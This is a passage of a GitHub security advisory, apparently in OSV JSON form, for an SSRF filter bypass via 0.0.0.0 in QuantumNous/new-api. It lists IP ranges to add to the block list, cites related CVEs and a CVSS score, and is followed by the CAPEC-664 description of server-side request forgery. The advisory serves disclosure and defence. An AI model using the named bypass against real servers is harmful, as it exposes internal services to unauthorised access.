(`common/ssrf_protection.go`)\n2. Audit against the full [[IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/)](https://www.iana.org/assignments/iana-ipv4-special-registry/) \u2014 also ensure coverage for:\n   - `0.0.0.0/8` (\"This network\")\n   - `100.64.0.0/10` (Carrier-grade NAT)\n   - `198.18.0.0/15` (Benchmarking)\n   - IPv6 equivalents: `::1`, `::`, `[::]`, `fe80::/10`\n3. Apply the same IP validation to post-redirect targets (already partially addressed in `service/http_client.go:24-33`, but does not help when the initial address itself bypasses the filter)\n\n### Resources\n\n- **CVE-2025-59146** (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5\n- **CVE-2025-62155** (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6",
  "id": "GHSA-v5c3-6wvc-pc2q",
  "modified": "2026-05-13T13:38:24Z",
  "published": "2026-05-06T17:23:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42339"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QuantumNous/new-api"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9f46-w24h-69w4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list